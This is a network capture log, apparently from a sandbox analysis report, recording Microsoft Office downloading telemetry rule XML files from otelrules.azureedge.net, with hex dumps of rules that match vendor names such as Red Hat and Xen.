2024-11-20 03:08:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	62423	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-185f5d8b95cdtclvhC1NYC4rmc00000009rg00000000kab4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	62424	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-185f5d8b95c95vpshC1NYC759c00000009n000000000gx0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	62426	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-1777c6cb7544nvmshC1TEBf7qc00000008xg000000000qv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	62425	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030808Z-185f5d8b95c68cvnhC1NYCfn7s00000009gg00000000xc6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	62427	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:08 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-1777c6cb754j47wfhC1TEB5wrw00000004s000000000q9xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	62428	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-185f5d8b95c4hl5whC1NYCeex000000009m0000000009f45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	62429	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-r1d97b9957789nh9hC1TEBxha800000008dg0000000088nz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	62431	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-185f5d8b95crwqd8hC1NYCps6800000009hg00000000r8g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	62432	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-1777c6cb754mrj2shC1TEB6k7w000000092g00000000hywz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	62433	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:09 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:09 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030809Z-1777c6cb754whff4hC1TEBcd6c00000007n000000000ef97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:09 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	62434	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030810Z-r1d97b9957789nh9hC1TEBxha800000008dg0000000088qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	62435	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030810Z-185f5d8b95c96jn4hC1NYCbgp800000009h000000000xgzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
